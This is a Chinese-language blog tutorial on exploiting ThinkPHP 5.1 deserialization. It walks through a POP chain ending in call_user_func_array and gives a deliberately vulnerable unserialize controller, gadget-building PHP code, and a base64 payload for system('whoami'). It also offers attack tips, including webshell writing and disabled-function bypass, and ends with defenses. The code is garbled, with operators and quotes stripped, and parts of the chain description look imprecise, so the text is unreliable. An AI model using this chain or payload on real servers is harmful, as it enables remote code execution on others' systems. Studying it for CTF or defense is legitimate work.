尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

ThinkPHP 5.1反序列化漏洞深度剖析:从POP链构造到RCE实战

ThinkPHP 5.1反序列化漏洞深度剖析:从POP链构造到RCE实战 1. 项目概述一次对ThinkPHP 5.1反序列化漏洞的深度剖析在CTFCapture The Flag竞赛和实际的安全研究中反序列化漏洞一直是Web安全领域里一块难啃但价值极高的“硬骨头”。它不像SQL注入或XSS那样直观更像是一种隐藏在应用逻辑深处的“内功”一旦被利用往往能直接导致远程代码执行RCE拿到服务器的最高权限。而在众多存在此类漏洞的框架中ThinkPHP尤其是其5.1.*版本因其在国内广泛的使用率和漏洞的典型性成为了安全学习者和CTFer必须攻克的经典目标。今天我们就来彻底拆解ThinkPHP 5.1.*的反序列化漏洞这不仅仅是一次漏洞复现的教程更是一次对PHP反序列化利用链构造思维的完整训练。无论你是刚入门安全的新手还是想深化理解反序列化利用的老手这篇从原理到实战、从链子构造到Payload编写的详细指南都将为你铺平从0到1的成长之路。2. 核心原理为什么反序列化如此危险在深入ThinkPHP的具体漏洞之前我们必须先夯实基础理解反序列化漏洞为何能成为“漏洞之王”。很多初学者会混淆序列化Serialization和反序列化Unserialization。你可以把它们想象成“打包”和“拆包”的过程。当一个复杂的对象比如一个用户类包含用户名、密码、权限等属性需要在网络中传输或者存入数据库、文件时程序需要将它转换成一种通用的、线性的格式通常是字符串这个过程就是序列化。反之将这个字符串重新恢复成原来的对象实例就是反序列化。PHP通过serialize()和unserialize()函数来完成这两个操作。危险就潜伏在unserialize()中。当PHP反序列化一个字符串时它会根据字符串中定义的类名去尝试恢复这个类的对象。在这个过程中如果类中定义了__wakeup()、__destruct()、__toString()等魔术方法PHP会自动调用它们。漏洞的核心在于攻击者可以控制反序列化过程中的数据即那个字符串从而操控恢复出的对象属性并利用这些自动调用的魔术方法像搭积木一样安全界称之为“POP链”或“Gadget链”一步步执行预设的恶意代码。举个例子如果一个类FileHandler的__destruct()方法对象销毁时自动调用里有一行代码是unlink($this-filepath);删除文件。在正常逻辑中$this-filepath可能是程序设置的临时文件路径。但如果攻击者序列化了一个FileHandler对象并将filepath属性设置为../../../etc/passwd那么当这个恶意序列化字符串被反序列化后对象销毁时就会尝试删除系统关键文件。这只是一个简单的例子真实的利用链要复杂得多需要串联多个类的多个魔术方法。ThinkPHP 5.1.*的反序列化漏洞正是由于其框架内部某些类的魔术方法特别是__toString和__call与可被控制的属性结合形成了一条能够最终通向call_user_func_array或file_put_contents等危险函数的完整利用链。3. 环境搭建与漏洞代码定位工欲善其事必先利其器。要分析漏洞首先需要一个靶场环境。3.1 靶场环境搭建我推荐使用Docker或PHPStudy进行快速搭建这里以PHPStudy为例因为它更贴近国内开发者的习惯。*下载ThinkPHP 5.1.版本从官方GitHub仓库的Release页面或通过Composer (composer create-project topthink/think5.1.* tp5.1) 获取指定版本源码。配置PHPStudy启动PHPStudy将ThinkPHP源码目录放到WWW根目录下。确保PHP版本在7.0以上与TP5.1兼容并开启必要的扩展如php_openssl。创建漏洞测试文件在应用目录如application/index/controller下创建一个简单的控制器例如Test.php内容如下namespace app\index\controller; class Test { public function index() { if (isset($_GET[data])) { // 存在漏洞的反序列化入口点 $data $_GET[data]; unserialize(base64_decode($data)); return 反序列化执行完毕; } highlight_file(__FILE__); return 请提供data参数; } }这个文件模拟了一个常见的漏洞场景接收用户输入经过Base64解码后直接进行反序列化。注意这仅用于学习测试真实环境中几乎不会这样写但漏洞往往隐藏在框架深层逻辑或缓存、Session处理中。3.2 漏洞链入口点寻找ThinkPHP 5.1的反序列化利用链是“已知漏洞”这意味着安全研究人员已经为我们找到了那条路。我们的学习重点是理解这条路是怎么走通的。链的起点通常是某个类的__destruct()或__wakeup()方法因为它们在反序列化完成后会自动触发。通过审计已知的漏洞利用代码PoC我们得知在ThinkPHP 5.1中一个关键的起点类是think\process\pipes\Windows。但直接看最终PoC是晦涩难懂的我们需要像侦探一样一步步回溯。实操心得在真实漏洞挖掘中寻找入口点通常通过以下方式1) 全局搜索包含__wakeup、__destruct的类文件2) 重点关注那些属性值可能被用户输入的类3) 使用phpggcPHP Generic Gadget Chains这类工具集来辅助探测框架是否存在公开的利用链。对于学习而言先理解已知链再尝试模仿其思路去审计其他代码是更高效的路径。4. 利用链详细拆解与逐步分析这是本文的核心部分我们将一步步拆解这条经典的利用链。请跟上思路这就像在解一道复杂的逻辑谜题。4.1 第一步从__destruct到__toString我们假设攻击者可控的序列化数据最终反序列化出了一个think\process\pipes\Windows类的对象。查看其源码vendor/topthink/framework/src/think/process/pipes/Windows.php它的__destruct方法如下public function __destruct() { $this-close(); $this-removeFiles(); }跟进removeFiles()方法private function removeFiles() { foreach ($this-files as $filename) { if (file_exists($filename)) { unlink($filename); } } $this-files []; }这里$this-files是一个数组。如果$this-files中的某个元素不是一个字符串而是一个对象那么当file_exists($filename)执行时PHP会尝试将这个对象转换为字符串即自动调用该对象的__toString()魔术方法。于是我们完成了第一步跳跃从__destruct跳转到了某个对象的__toString方法。攻击者可以通过控制$this-files[0]为一个精心构造的对象来实现这一点。4.2 第二步寻找可利用的__toString方法我们需要找到一个类其__toString方法内部存在“有趣”的操作。在ThinkPHP中think\model\concern\Conversiontrait被think\Model类使用的__toString方法会调用toJson()进而调用toArray()。toArray()方法中存在对模型关联数据的处理代码会遍历属性并可能调用属性的getAttr方法。这听起来很绕但关键点在于toArray()方法在处理对象属性时如果该属性是一个think\model\Relation对象它会调用这个Relation对象的getValue()方法。而getValue()方法内部可能会触发__call魔术方法。所以链条变成了__destruct-__toString-toArray- 访问Relation属性 -getValue()。4.3 第三步利用__call进行方法调用现在我们需要一个类当它的getValue()方法被调用时实际上会触发__call方法。think\model\Relation是一个抽象类我们看它的子类例如think\model\relation\HasOne。但更重要的是我们需要找到一个类其__call方法能让我们执行任意函数。在ThinkPHP 5.1中think\Request类的__call方法是一个绝佳的跳板。它的__call方法代码如下简化public function __call($method, $args) { if (array_key_exists($method, $this-hook)) { array_unshift($args, $this); return call_user_func_array($this-hook[$method], $args); } // ... }看call_user_func_array这是一个可以执行任意函数的危险函数。如果我们可以控制$this-hook[$method]和$args就能执行任意代码。那么如何让Request对象的__call被触发呢我们需要让toArray()流程中去调用一个Request对象不存在的方法。回顾上一步toArray()会调用Relation的getValue()。如果我们能让某个属性在某种情况下指向一个think\Request对象并且尝试调用getValue()方法而Request类没有这个方法就会触发Request::__call。这里有一个精妙的构造think\model\Relation类本身有一个__call方法它会将调用转发给其query属性一个think\db\Query对象。但如果我们构造一个特殊的think\model\relation\HasOne对象并控制其query属性为一个think\Request对象那么当getValue()被调用时流程会变成HasOne-getValue()- (内部可能调用query的方法) - 由于query是Request对象且没有对应方法 - 触发Request::__call。4.4 第四步控制call_user_func_array的参数现在我们成功抵达了call_user_func_array($this-hook[$method], $args)。为了执行命令我们需要控制$method的值使其对应$this-hook数组中的一个键名。控制$this-hook[$method]的值使其为我们想执行的函数名例如system。控制$args使其为我们想执行的命令参数例如[whoami]。在ThinkPHP 5.1的think\Request类中$hook属性是protected的。我们需要利用PHP反序列化的一个特性反序列化可以设置protected和private属性的值。序列化字符串中protected属性表示为\x00*\x00属性名private属性表示为\x00类名\x00属性名。我们可以在构造Payload时直接设置$hook数组。假设我们让$method ‘input’并设置$this-hook[‘input’] ‘system’$args [‘whoami’]。那么call_user_func_array(‘system’, [‘whoami’])就被成功执行。4.5 链条总览与关键类梳理让我们把上面的复杂步骤串联起来形成一条清晰的利用链Gadget Chain入口点think\process\pipes\Windows::__destruct()-removeFiles()- 对$this-files[0]对象调用file_exists()触发其__toString。跳板1$this-files[0]设置为一个think\Model子类对象如think\model\Pivot。其__toString调用toJson()-toArray()。跳板2在toArray()中访问模型的某个关联属性例如$this-append中定义的属性。该属性被设置为一个think\model\relation\HasOne对象。跳板3HasOne对象的query属性被设置为一个think\Request对象。当toArray()尝试获取关联数据时会调用HasOne-getValue()内部调用$this-query-xxx()。最终执行由于query是Request对象且没有xxx方法触发think\Request::__call($method, $args)。命令执行在__call中执行call_user_func_array($this-hook[$method], $args)。我们通过反序列化已提前设置了$hook[‘input’]为system$args为[‘id’]从而执行系统命令。注意事项这条链涉及多个类且需要精心构造它们之间的引用关系。在构造Payload时必须严格按照类的继承关系和属性可见性public/protected/private来设置序列化字符串。一个属性的类型错误或可见性标识错误都会导致反序列化失败或链条断裂。5. Payload构造与实战演练理解了原理我们来动手构造一个能执行whoami命令的Payload。这里我们使用一个已知的、调整好的PoC进行演示和解释。5.1 构造恶意对象链由于手动构造序列化字符串极其繁琐我们通常编写一个PHP脚本先构造好对象关系然后用serialize()输出。以下是简化版的核心构造代码逻辑namespace think\process\pipes { class Windows { private $files []; public function __construct() { // 设置files[0]为一个会触发__toString的Model对象 $this-files [new \think\Model()]; } } } namespace think { class Model { protected $append []; protected $data []; private $lazySave false; private $exists false; public function __construct() { // 设置关联属性指向一个HasOne对象 $this-append [relation relation]; $this-data [relation new \think\model\relation\HasOne()]; } } } namespace think\model\relation { class HasOne { protected $query; public function __construct() { // 设置query为一个Request对象 $this-query new \think\Request(); } } } namespace think { class Request { protected $hook []; protected $filter system; // 实际利用中hook和filter的利用方式可能不同此处为示意 public function __construct() { // 设置hook数组使__call能触发call_user_func_array(system, ...) $this-hook [input system]; } } } // ... 实际PoC会更复杂需要处理更多的属性引用和初始化。5.2 生成与利用Payload生成序列化字符串将上述对象构造脚本在ThinkPHP环境中运行得到序列化字符串$ser。编码传输由于序列化字符串包含不可见字符通常进行Base64编码$payload base64_encode($ser);。发起攻击访问我们之前搭建的漏洞测试页面http://your-target/index.php/index/test/index?data[Base64编码后的Payload]。查看结果如果漏洞存在且Payload构造正确服务器将执行whoami命令并将结果返回有时可能直接显示在页面有时需要通过其他方式如DNSLOG外带。5.3 实战演示与结果分析假设我们生成了一个有效的PayloadTzo0NzoiVGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xNb2RlbCI6NDp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo4OiJyZWxhdGlvbiI7czo4OiJyZWxhdGlvbiI7fXM6NzoiACoAZGF0YSI7YToxOntzOjg6InJlbGF0aW9uIjtPOjI5OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjE6e3M6OToiACoAcXVlcnkiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NzoiACoAaG9vayI7YToxOntzOjU6ImlucHV0IjtzOjY6InN5c3RlbSI7fXM6OToiACoAZmlsdGVyIjtzOjY6Indob2FtaSI7fX19czoxMToiAGxhenlTYXZlIjtiOjA7czo5OiIAZXhpc3RzIjtiOjA7fX19。将其作为data参数发送服务器端反序列化后对象链被还原并自动执行最终在服务器上执行了system(‘whoami’)返回了Web服务器进程的用户名如www-data或apache。避坑技巧Payload编码问题确保Payload在传输过程中没有丢失加号、斜杠/等URL敏感字符。如果通过GET传递确保对Base64字符串进行了URL编码urlencode()。魔术方法引号问题在PHP 7.1以上版本如果类中定义了__wakeup()它会在反序列化完成后立即执行可能会重置我们的恶意属性。需要寻找没有__wakeup或__wakeup可被绕过的类作为入口。依赖版本不同的小版本如5.1.37 vs 5.1.41类结构可能有细微差别公开的PoC可能需要对属性名或命名空间进行微调。最佳实践是根据目标环境下载对应版本的源码本地调试构造Payload。6. 漏洞防御与安全编程实践作为开发者了解漏洞如何产生是为了更好地避免它。以下是从此漏洞中提炼出的防御方案严格禁止反序列化用户输入这是铁律。永远不要将用户可控的数据直接传递给unserialize()函数。如果必须使用序列化考虑使用JSON等更安全的格式。使用白名单机制如果业务上确实需要PHP反序列化应实现一个严格的白名单机制只允许反序列化预先定义好的、安全的类。可以通过unserialize()的第二个参数[‘allowed_classes’ [‘MySafeClass1‘, ’MySafeClass2’]]来实现PHP 7.0。升级框架版本ThinkPHP官方在后续版本中修复了此漏洞。对于5.1.*版本应升级到已修复的安全版本。同时关注框架官方的安全公告。代码审计与魔术方法审查在代码审计中重点关注所有__wakeup、__destruct、__toString、__call、__get、__set等魔术方法。检查这些方法内部的逻辑是否可能被外部输入的属性所控制。使用安全工具扫描在开发流程中集成静态代码分析工具如PHPStan SonarQube和依赖项漏洞扫描工具如composer audit, OWASP Dependency-Check可以自动发现已知的反序列化漏洞组件。7. 从CTF到实战思维延伸在CTF中你遇到的可能是“纯净”的漏洞环境。但在实战渗透测试或红队行动中情况要复杂得多寻找反序列化入口点入口点很少是明晃晃的unserialize($_GET[‘data’])。它们可能隐藏在Session处理自定义的Session处理器session.serialize_handler可能使用php_serialize而读取时可能触发反序列化。缓存数据从Redis/Memcached中读取的缓存数据如果存储时用了序列化读取时可能自动反序列化。数据库存储对象某些ORM框架可能会序列化对象属性存入数据库。Phar反序列化利用phar://协议包装的Phar文件其元数据metadata在访问时会被反序列化这是一个非常强大的“伪”入口点常与文件上传、文件包含漏洞结合。绕过限制目标环境可能禁用了一些危险函数如system,exec,shell_exec这就需要我们寻找替代方案比如使用phpinfo()泄露信息、用file_put_contents()写Webshell、或者利用LD_PRELOAD等技术进行绕过。利用链的挖掘面对一个未知的框架或组件如何自己挖掘一条POP链这需要熟悉常见起点从__destruct和__wakeup方法开始全局搜索。分析魔术方法调用图使用工具或手动分析当一个魔术方法被调用时它内部又调用了哪些其他对象的方法或属性。寻找“危险函数”汇聚点全局搜索call_user_func、call_user_func_array、eval、file_put_contents等函数看哪些类的哪些方法最终会调用到它们然后反向推导需要控制哪些属性才能到达那里。ThinkPHP 5.1反序列化漏洞的学习为我们提供了一套完整的反序列化漏洞分析范式。掌握了它你不仅能够复现这个特定漏洞更能将这种“控制属性-触发魔术方法-链接至危险函数”的思维模式应用到其他任何存在反序列化功能的PHP应用中去。这才是从0到1的CTFer成长之路上最需要磨练的内功。
返回列表